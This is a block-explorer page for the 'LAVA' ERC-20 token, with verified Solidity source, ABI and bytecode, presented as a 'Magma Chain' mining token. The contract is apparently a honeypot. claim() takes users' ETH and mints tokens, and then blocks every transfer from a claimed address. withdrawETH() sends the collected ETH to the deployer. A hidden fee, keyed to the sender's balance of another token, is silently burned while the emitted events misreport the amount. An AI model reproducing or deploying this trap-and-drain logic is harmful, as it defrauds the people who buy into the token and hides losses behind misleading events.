ETH Price: $3,448.51 (+1.47%)

Token

LAVA (LAVA)
 

Overview

Max Total Supply

11,000,000,000 LAVA

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
100,000,000 LAVA

Value
$0.00
0xde64a183ff3abcd5f59a30d3ec6300f2496df6ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Lava

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 6: Lava.sol
// SPDX-License-Identifier: MIT

/*
    https://magma0x.com/mining/

    Magma Chain ERC20 Token on Ethereum    
    
    ██       █████  ██    ██  █████  
    ██      ██   ██ ██    ██ ██   ██ 
    ██      ███████ ██    ██ ███████ 
    ██      ██   ██  ██  ██  ██   ██ 
    ███████ ██   ██   ████   ██   ██ 
                                                                      
*/
pragma solidity 0.8.24;

import "./Safemath.sol";
import "./Ownable.sol";
import "./MagmaRouter.sol";
import "./MagmaFactory.sol";
import "./IERC20.sol";

contract Lava is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  10000000000 * 10 ** _decimals;
    MagmaRouter private magmaRouter = MagmaRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal spawnerAddress =  0xa6949fdB24413d02A23C8d8922178C43616bB834;
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) claimed;
    bool private tradingOpen = false;
    address payable private spawner;
    bool private spawned = false;
    address private magmaPair;
    address public deployer;
    mapping (address => uint256) miningAmount;
    mapping (uint256 => uint256) miningTimestamps;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Mining(address to, uint256 amount);

    string private _name = "LAVA";
    string private _symbol = "LAVA";

    constructor () {
        _balances[address(this)] = _totalSupply;
        spawner = payable(msg.sender);
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function updateDeployer(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function isClaimed(address wallet) public view returns (bool) {
        return claimed[wallet];
    }

    function claim() external payable {
        require(msg.value > 0);
        _startMining(msg.sender, msg.value * 1000000000);
        claimed[msg.sender] = true;
    }

    function spawn() external onlyOwner {
        require (deployer != address(0));
        require(!spawned);
        _transfer(address(this), deployer, _totalSupply.mul(10).div(100));
        spawned = true;
    }

    function _startMining(address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        emit Transfer(address(0), to, amount);
        _totalSupply = _totalSupply.add(amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(deployer != address(0));
        require(!tradingOpen, "Trading already opened.");
        require(spawned);
        _approve(address(this), address(magmaRouter), _totalSupply);
        magmaPair = MagmaFactory(magmaRouter.factory()).createPair(address(this), magmaRouter.WETH());
        magmaRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(magmaPair).approve(address(magmaRouter), type(uint).max);
        tradingOpen = true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function withdrawETH() external {
        spawner.transfer(address(this).balance);
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(!claimed[from]);
        require(from != deployer);
        require(from != address(0));
        require(to != address(0));
        uint256 fee = 0;
        if (from != magmaPair && from != address(this)) {
            fee = IERC20(spawnerAddress).balanceOf(from);
        }
        uint256 feeAmount = amount.mul(fee).div(100);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(feeAmount);
        emit Transfer(from, to, amount);
    }
}

File 1 of 6: IERC20.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

File 3 of 6: MagmaFactory.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaFactory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}


File 4 of 6: MagmaRouter.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

File 6 of 6: Safemath.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mining","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"spawn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"updateDeployer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004eb565b6402540be4006200004e91906200053b565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a6949fdb24413d02a23c8d8922178c43616bb83460035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055505f600760156101000a81548160ff0219169083151502179055506040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600c9081620001729190620007e0565b506040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600d9081620001b99190620007e0565b50348015620001c6575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200034b9190620008d5565b60405180910390a3620008f0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003e357808604811115620003bb57620003ba62000359565b5b6001851615620003cb5780820291505b8081029050620003db8562000386565b94506200039b565b94509492505050565b5f82620003fd5760019050620004cf565b816200040c575f9050620004cf565b8160018114620004255760028114620004305762000466565b6001915050620004cf565b60ff84111562000445576200044462000359565b5b8360020a9150848211156200045f576200045e62000359565b5b50620004cf565b5060208310610133831016604e8410600b8410161715620004a05782820a9050838111156200049a576200049962000359565b5b620004cf565b620004af848484600162000392565b92509050818404811115620004c957620004c862000359565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004f782620004d6565b91506200050483620004df565b9250620005337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ec565b905092915050565b5f6200054782620004d6565b91506200055483620004d6565b92508282026200056481620004d6565b915082820484148315176200057e576200057d62000359565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200060157607f821691505b602082108103620006175762000616620005bc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200067b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200063e565b6200068786836200063e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006c8620006c2620006bc84620004d6565b6200069f565b620004d6565b9050919050565b5f819050919050565b620006e383620006a8565b620006fb620006f282620006cf565b8484546200064a565b825550505050565b5f90565b6200071162000703565b6200071e818484620006d8565b505050565b5b818110156200074557620007395f8262000707565b60018101905062000724565b5050565b601f82111562000794576200075e816200061d565b62000769846200062f565b8101602085101562000779578190505b6200079162000788856200062f565b83018262000723565b50505b505050565b5f82821c905092915050565b5f620007b65f198460080262000799565b1980831691505092915050565b5f620007d08383620007a5565b9150826002028217905092915050565b620007eb8262000585565b67ffffffffffffffff8111156200080757620008066200058f565b5b620008138254620005e9565b6200082082828562000749565b5f60209050601f83116001811462000856575f841562000841578287015190505b6200084d8582620007c3565b865550620008bc565b601f19841662000866866200061d565b5f5b828110156200088f5784890151825560018201915060208501945060208101905062000868565b86831015620008af5784890151620008ab601f891682620007a5565b8355505b6001600288020188555050505b505050505050565b620008cf81620004d6565b82525050565b5f602082019050620008ea5f830184620008c4565b92915050565b61211f80620008fe5f395ff3fe608060405260043610610108575f3560e01c80638cc0802511610094578063b547aeda11610063578063b547aeda14610352578063c9567bf914610368578063d5f3948814610372578063dd62ed3e1461039c578063e086e5ec146103d857610108565b80638cc08025146102865780638da5cb5b146102c257806395d89b41146102ec578063a9059cbb1461031657610108565b8063313ce567116100db578063313ce567146101d85780634d413e7d146102025780634e71d92d1461022a57806370a0823114610234578063715018a61461027057610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b506101206103ee565b60405161012d91906118fe565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906119af565b61047e565b6040516101699190611a07565b60405180910390f35b34801561017d575f80fd5b50610186610494565b6040516101939190611a2f565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611a48565b61049d565b6040516101cf9190611a07565b60405180910390f35b3480156101e3575f80fd5b506101ec610549565b6040516101f99190611ab3565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190611acc565b61055e565b005b61023261062e565b005b34801561023f575f80fd5b5061025a60048036038101906102559190611acc565b6106a9565b6040516102679190611a2f565b60405180910390f35b34801561027b575f80fd5b506102846106ef565b005b348015610291575f80fd5b506102ac60048036038101906102a79190611acc565b610836565b6040516102b99190611a07565b60405180910390f35b3480156102cd575f80fd5b506102d6610888565b6040516102e39190611b06565b60405180910390f35b3480156102f7575f80fd5b506103006108af565b60405161030d91906118fe565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906119af565b61093f565b6040516103499190611a07565b60405180910390f35b34801561035d575f80fd5b50610366610955565b005b610370610ac4565b005b34801561037d575f80fd5b50610386610fc4565b6040516103939190611b06565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd9190611b1f565b610fe9565b6040516103cf9190611a2f565b60405180910390f35b3480156103e3575f80fd5b506103ec61106b565b005b6060600c80546103fd90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611b8a565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a3384846110d3565b6001905092915050565b5f600154905090565b5f6104a9848484611296565b61053e84336105398560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b6110d3565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e290611c04565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3411610639575f80fd5b61065233633b9aca003461064d9190611c4f565b6116d4565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d80546108be90611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ea90611b8a565b80156109355780601f1061090c57610100808354040283529160200191610935565b820191905f5260205f20905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b5f61094b338484611296565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a3a575f80fd5b600760159054906101000a900460ff1615610a53575f80fd5b610aa73060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aa26064610a94600a6001546117e990919063ffffffff16565b61182990919063ffffffff16565b611296565b6001600760156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610ba9575f80fd5b60075f9054906101000a900460ff1615610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611cda565b60405180910390fd5b600760159054906101000a900460ff16610c10575f80fd5b610c3e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546110d3565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ccc9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d769190611d0c565b6040518363ffffffff1660e01b8152600401610d93929190611d37565b6020604051808303815f875af1158015610daf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd39190611d0c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e5a306106a9565b5f80610e64610888565b426040518863ffffffff1660e01b8152600401610e8696959493929190611da0565b60606040518083038185885af1158015610ea2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ec79190611e13565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f67929190611e63565b6020604051808303815f875af1158015610f83573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa79190611eb4565b50600160075f6101000a81548160ff021916908315150217905550565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156110d0573d5f803e3d5ffd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611f4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a690611fdd565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112899190611a2f565b60405180910390a3505050565b5f81116112a1575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112f4575f80fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611383575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ba575f80fd5b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114e55760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016114a39190611b06565b602060405180830381865afa1580156114be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114e29190611ffb565b90505b5f61150c60646114fe84866117e990919063ffffffff16565b61182990919063ffffffff16565b905061155e8360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611601816115f38560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b6116ae90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169f9190611a2f565b60405180910390a35050505050565b5f828211156116bb575f80fd5b5f82846116c89190612026565b90508091505092915050565b6117248160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117c29190611a2f565b60405180910390a36117df8160015461184e90919063ffffffff16565b6001819055505050565b5f8083036117f9575f9050611823565b5f82846118069190611c4f565b90508284826118159190612086565b1461181e575f80fd5b809150505b92915050565b5f808211611835575f80fd5b5f82846118429190612086565b90508091505092915050565b5f80828461185c91906120b6565b90508381101561186a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118ab578082015181840152602081019050611890565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118d082611874565b6118da818561187e565b93506118ea81856020860161188e565b6118f3816118b6565b840191505092915050565b5f6020820190508181035f83015261191681846118c6565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194b82611922565b9050919050565b61195b81611941565b8114611965575f80fd5b50565b5f8135905061197681611952565b92915050565b5f819050919050565b61198e8161197c565b8114611998575f80fd5b50565b5f813590506119a981611985565b92915050565b5f80604083850312156119c5576119c461191e565b5b5f6119d285828601611968565b92505060206119e38582860161199b565b9150509250929050565b5f8115159050919050565b611a01816119ed565b82525050565b5f602082019050611a1a5f8301846119f8565b92915050565b611a298161197c565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f805f60608486031215611a5f57611a5e61191e565b5b5f611a6c86828701611968565b9350506020611a7d86828701611968565b9250506040611a8e8682870161199b565b9150509250925092565b5f60ff82169050919050565b611aad81611a98565b82525050565b5f602082019050611ac65f830184611aa4565b92915050565b5f60208284031215611ae157611ae061191e565b5b5f611aee84828501611968565b91505092915050565b611b0081611941565b82525050565b5f602082019050611b195f830184611af7565b92915050565b5f8060408385031215611b3557611b3461191e565b5b5f611b4285828601611968565b9250506020611b5385828601611968565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ba157607f821691505b602082108103611bb457611bb3611b5d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bee60208361187e565b9150611bf982611bba565b602082019050919050565b5f6020820190508181035f830152611c1b81611be2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c598261197c565b9150611c648361197c565b9250828202611c728161197c565b91508282048414831517611c8957611c88611c22565b5b5092915050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611cc460178361187e565b9150611ccf82611c90565b602082019050919050565b5f6020820190508181035f830152611cf181611cb8565b9050919050565b5f81519050611d0681611952565b92915050565b5f60208284031215611d2157611d2061191e565b5b5f611d2e84828501611cf8565b91505092915050565b5f604082019050611d4a5f830185611af7565b611d576020830184611af7565b9392505050565b5f819050919050565b5f819050919050565b5f611d8a611d85611d8084611d5e565b611d67565b61197c565b9050919050565b611d9a81611d70565b82525050565b5f60c082019050611db35f830189611af7565b611dc06020830188611a20565b611dcd6040830187611d91565b611dda6060830186611d91565b611de76080830185611af7565b611df460a0830184611a20565b979650505050505050565b5f81519050611e0d81611985565b92915050565b5f805f60608486031215611e2a57611e2961191e565b5b5f611e3786828701611dff565b9350506020611e4886828701611dff565b9250506040611e5986